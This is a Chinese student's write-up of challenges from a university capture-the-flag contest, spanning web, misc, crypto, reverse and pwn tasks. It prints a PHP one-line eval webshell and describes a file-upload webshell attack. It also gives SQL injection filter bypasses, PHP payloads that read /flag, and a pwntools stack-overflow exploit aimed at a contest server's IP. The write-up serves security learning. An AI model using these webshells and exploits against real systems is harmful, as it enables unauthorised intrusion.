【ctf】第一届浙江师范大学网络与信息安全校赛wp

【ctf】第一届浙江师范大学网络与【ctf】第一届浙江师范大学网络与信息安全校赛wp
  • 前言

    第一次参加正式的【ctf】第一届浙江师范大学网络与信息安全校赛wp

    网络安全法2016-11-07颁布

    得到flag{2016-11-07}

    WEB

    1.web签到(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp
    <?php show_source(__file__); @eval($_POST['zjnuctf']); ?> 

    由于自己的h【ctf】第一届浙江师范大学网络与信息安全校赛wp

    2.easy_serialization (解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    反序列化

    将fakeflag.php改为flag.php后输出

    当然,要把flag.php用php://filter伪协议

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    将上面的url编码当作fxxk的值传入

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    得到base64编码解密

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    爆破?不存在的,直接MD5网站解密

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    flag{1919810}

    3.easy_md5(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    上来先代码审计

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    可以发现有三关。

    第一关,==弱比较,直接用MD5碰撞即可。

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    分别给a1,a2赋值(上面的都可以)

    第二关 ,===强比较,使用数组即可

    b[]1=1&b2[]=2

    第三关 (卡的有点久,后面灵光一闪)

    因为flag ls等字样都被过滤了

    我们用var_dump函数执行

    查看根目录scandir(chr()47)

    cmd=var_dump(scandir(chr(47)))?>

    发现flag用file_get_contents

    cmd=var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103)))?>

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    4.easy_upload(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    考察文件上传

    先试了php

    发现无法上传php

    用.htaccess
    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    然后再上传

    说不是jpg格式

    bp抓包后更改 image/jpeg

    上传成功

    再上传一张1.jpg内涵一句话木马

    蚁剑连接

    根目录发现flag

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    5.5.i_love_sql[悬赏题] (未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp 【ctf】第一届浙江师范大学网络与信息安全校赛wp

    这题在比赛的时候想了很久,但是没解出来。

    用fuzz字典发现or ’ 空格 = 这些都被过滤了。当时也没想到什么解法。

    以下是当时的心路历程

    首先,被过滤的 可以用 来转义,空格可以用/**/来替换,or用 || 来替换

    因为or被过滤了,无法使用information_schema,但是mysql5.6版本以上存在mysql.innodb_table_stats

    其次,这个sql语句盲猜都知道是

    select username,password from 表 where userename = '$name' and password = '$password' 

    那么我们做如下替换

    select username, password from 表 where username='' and password='||/**/1#'; 

    然后得到的结果让我痛心

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    之后打开了御剑扫描,发现有个admin123.php

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    无果,到此思路就结束了。

    然后就是赛后看官方wp吧)官方wp

    MISC

    1.扫雷(解出)

    卡了我好久,我以为有更好的一步到位方法

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    2.神奇的迷宫(未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    这题看完wp真的是有点呕吐,思路全对就是我眼睛不行qaq(看的时候迷宫密码少了个d)

    下载附件发现一张maze图片

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    然后分别用 u d l r 对应上下左右,得到关键密码 drdrdrdldldrurururdldld

    然后用kali的binwalk分离maze图片,发现一个zip文件,解压密码就是上面的drdrdrdldldrurururdldld。解压完了就是flag.txt

    3.奇怪的字符(未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    这题也是有思路,但没有完全有思路,气死。

    下载附件发现全是01格式的字符

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    一看就是01二进制转ascii码,写一个py转化脚本

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    得到的一看就是base64编码,放入在线网站解密

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    又得到一个奇奇怪怪的字符串。

    比赛时候到这里就懵逼了。

    赛后看wp发现,解密出来的这玩意还是一个base64。

    所以我们只需要再来一次解码即可。

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    发现得到的东西和flag不一样。想到题面中的凯撒。

    直接凯撒密码得到flag

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    4.打不开的word(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    解压发现docx文件

    打不开

    改为txt后缀,发现xml格式

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    直接改为zip后缀

    解压

    发现hint.xml

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    打开

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    照着上面做

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    照着做之后将解压后的文件压缩为zip,再改后缀为docx

    打开

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    一开始一张图和一句话

    flag在哪呢?

    我真的不知道啊!!

    卡了好久

    百度了之后发现有word有隐藏文字功能

    我人傻了

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    拖开图片发现flag

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    5.嫌疑人bmth的硬盘[悬赏题](未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    怎么说呢,这题也是与正确答案擦肩而过。。。

    以下是我的心路历程。

    下载附件之后,发现一张图和一个有密码的压缩包,内涵虚拟磁盘文件

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    压缩包密码是什么呢?

    肯定在这张图片里。

    放入kali的binwalk中,无解。

    拖入010中,发现了奇奇怪怪的东西

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    在最下方发现了一个password,激动的以为这就是解压密码。可是悬赏题不可能这么简单!无果。

    又在010发现了有趣的东西。

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    上面写着,Do you konw silentEye?

    百度了一下,是个电影?

    再深入百度,发现是一个图片解码工具,直接下载安装。

    【ctf】第一届浙江师范大学网络与信息安全校赛wp 【ctf】第一届浙江师范大学网络与信息安全校赛wp

    当时直接不会用。卡在这里停住了。

    到此心路历程结束。

    看了官方wp之后,发现,只需要改个password即可。改为上面010里看到的123456

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    解压得到vhd文件

    【ctf】第一届浙江师范大学网络与信息安全校赛wp 【ctf】第一届浙江师范大学网络与信息安全校赛wp

    参加vhd,并进入

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    发现flag.txt

    【ctf】第一届浙江师范大学网络与信息安全校赛wp 【ctf】第一届浙江师范大学网络与信息安全校赛wp

    手速???无他,唯手熟尔

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    CRYPTO

    1.签到(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    这题也卡了(我太菜了)

    上来直接base64

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    然后看不懂

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    在后面用web工具的时候发现是hex编码

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    2.恶魔人(未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    这题怎么说呢?就是题目做少了

    得到txt文件

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    类似于佛曰,但是我比赛时候百度没出结果。

    赛后看wp发现还有熊曰这玩意!!!

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    至于题目的恶魔人,只是单纯的玩日语谐音梗。。。

    3.shit_encode(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    侥幸拿了一血(唯一一个qaq)

    下载附件

    得到py和txt

    【ctf】第一届浙江师范大学网络与信息安全校赛wp 【ctf】第一届浙江师范大学网络与信息安全校赛wp 【ctf】第一届浙江师范大学网络与信息安全校赛wp

    看py得知

    哼=0

    啊=1

    写java脚本

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    得到01

    一看就是01转ascii码

    上py脚本得到flag

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    4.easy_rsa(未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    rsa真的不是我这种数学fw写的出来的。

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    即使是看了赛后wp,我还是不会,直接放弃。。。

    wp的脚本

    from Crypto.Util.number import long_to_bytes from gmpy2 import iroot,invert,is_prime  nn=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730887670416768927672337677964290714550597600568429298221699648716921633068901353883948998903599058659542070118947492576518928418186712932926792789779394655691866868123443570557245730548669118968910472481699594289886611870716330210847358794021118096694062505555989342966084729820172623438268306776062004746756005827     n=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730807001526796418874459262653269010050805445478077947359375104859206527750763562742113548953267910553466464257144910076016464319670824458715011248550028233525149999568175523132599184229580518635264332963606814447158506677704508111890282939569371852505020871097477121110247604848059496171967876089968129112279691787     c=6909971391235120426969929645159492694245180553493170688384455395528880026264095781528449983208737981366859280710505606312242226424493215677583657170631510569997194553878866069533443896325051765975176119838518862738911330711618395941024704526641020596853651020122118936781031517870336553964625043083191787006414798451913618025949091586821489624371752964104686443066484925896291615405649389508964693993423607826989107021323425570133994104193066158297289023028007258400114180433143896560235193492515971098965506699893119979781920883228266956815844473828142781253269238329637022081737391678217749601980114153927801508703  e=65537  t = nn - n f1 = lambda x, y: pow(x * y - t, 2) - 4 * n * x * y f2 = lambda x, y, s: (t - x * y - s) / (2 * x) token = 0 for x in xrange(1, 3000):     if token == 1:         break     for y in xrange(1, 3000):         if f1(x, y) >= 0:             s, b = iroot(f1(x, y), 2)             if b:                 if is_prime(f2(x, y, int(s))):                     p = f2(x, y, int(s))                     token = 1                     break q = n/p phi = (p-1)*(q-1) d = invert(e, phi) m = pow(c, d, n)  print(long_to_bytes(m)) 

    5.114514[悬赏题](未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    下载附件中的py文件

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    txt文件

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    可以看到出来

    ‘114’,‘514’,‘1919’,‘810’

    都是会被替代的

    但是我是真的不会分析源码(python还没系统学习的一个fw罢了)

    官方wp

    #! python3 #coding=gbk  def shit_plus_decode(string):     string = string[7:].replace("114","00").replace("514","01").replace("1919","10").replace("810","11")     num_list = []     temp = ""     for i in string:         temp += i         if len(temp) == 16:             num_list.append(temp)             temp = ''     result =""     for i in range(len(num_list)):         high_bytes = num_list[i][:8]         low_bytes = num_list[i][8:]         new_num = bin(int(num_list[i][:8],2) ^ int(num_list[i][8:],2))[2:]         result += chr(int(new_num + low_bytes,2))     return result  cipher = r"¤ä¤ê¤Þ¤¹¤Í!!5141919514191951419195141919514191981011451419198101145141919114514514191911451451419195148105141919514810514810191981051481019198101148105148101148105148101148105141919114810514191911481019191141148101919114114810114191911481011419191148101141141148101141145141919114191951419191141919114810191911411481019191145141919514514514191951451411419198105141141919810514114810514810114810514810514191951411451419195141145141919114191951419191141919514191911481051419191148101141919810514114191981051411481051411411481051411411481011411411481011411411481051481011481051481011481011411411481011411411419198105141141919810514514191911419195141919114191911481011451411481011451451419195145145141919514514114810191911411481019191141141919810514114191981051451419191145145141919114514114810514514114810514514114810114114114810114114514191951451451419195145141148105141919114810514191911481019195141148101919514114810514191911481051419191148101919514114810191951411481011411411481011411411481051481011481051481011481051451411481051451451419195141145141919514114514810810514514810810514"  print(shit_plus_decode(cipher)) 

    REVERSE

    1.shiftf12(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    题目就是提示

    放入ida说缺少关键文件

    拖入kali

    upx -d 脱壳

    再拖入ida

    shift f12得到flag

    2.bit_operation(未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    逆向最不会的就是位运算了,在学算法的时候就被这个折磨。而且本学期的数字电路我也没怎么听,遇到这种题目,挺无奈的qaq。

    直接看题解吧,我也不会。官方题解

    3.2048(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    (这题教会我们不会就百度)

    正经人谁玩游戏啊

    直接百度

    发现py反编译脚本

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    跟着百度输入指令

    得到

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    里面有个main和struct

    将这俩玩意用010打开

    将struct的开头复制到main中

    保存

    改为pyc后缀

    执行脚本得到main.py

    打开

    查找flag

    两个都在

    博文参考:python反编译教程之2048小游戏实例

    4.gravity_ball(未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    (我是真没玩过这什么重力小球。)

    这已经超出我的能力范围了qaq

    直接看这个–>官方wp

    5.seeassGO![悬赏题] (未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    想都别想,这种悬赏题直接放弃。

    直接看这个–>官方wp

    PWN

    1.nc(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    直接无脑nc上去就完事了

    ls

    cat flag

    得到flag

    2.整数上溢(解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    (这个题面是真的烂)

    拖入ida看代码

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    发现输入-2就可以了

    nc连接

    输入-2

    ls

    cat flag

    3.gets_x86(未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    这题赛后想了想,解了下。

    首先把附件拖入ida中分析。

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    第一个flag提示我们在 /flag 中。那我们怎么把这个flag拿出来呢?

    我们发现有个getCode函数,让我们输入。有个gets函数,肯定有栈溢出漏洞!

    然后这个getCode函数让你输入代码,程序运行会执行你写入的代码。

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    之后看check函数

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    发现其实你啥也写不了,因为int main(){}的括号全给你check掉了

    那怎么拿到/flag呢? 用include

    #include</flag>即可报错输出!

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    第二个flag啥头绪没有。一般都是会有/bin/sh的后门地址的。我们去其他函数里找找。

    终于在boynextbackdoor中找到(恶臭)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    按下shift再按空格,查看地址

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    发现后门地址(080492B6),直接写一部分py脚本

    接着在getCode函数中发现gets函数。

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    char s[104]到ebp的深度是0x6c,所以填充0x6c+4个字符即可覆盖地址。

    写下脚本

    from pwn import * # io = process('./gets_x86') io = remote('121.43.169.147',8510) ELF("./gets_x86")	# ELF格式解析文件 success_addr = 0x80492B6 payload = 'a' * 0x6c + 'aaaa' + p32(success_addr) + 'a' # 为了防止timeout: the monitored command dumped core,增加payload长度 io.sendline(payload) io.interactive() 

    运行得到

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    4.superstack(未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    这题是真的看都不配看一眼,根本不会。

    快进到看官方wp–>官方wp

    5.judger_wqt(未解出)

    【ctf】第一届浙江师范大学网络与信息安全校赛wp

    这题是acmer和ctfer的强强联合。还想看?想都不配想!

    行了,直接看官方wp吧。

    温馨的给了acm解法和ctf解法

    judger_wqt/题解

    后话

    刚刚入门的菜狗,啥也不懂,各位大佬看个乐呵哈!

    已经决定走web路线了,所以以后没有这五个方向的大杂烩wp咯~

    版权声明:玥玥 发表于 2021-05-13 0:45:46。
    转载请注明:【ctf】第一届浙江师范大学网络与信息安全校赛wp | 女黑客导航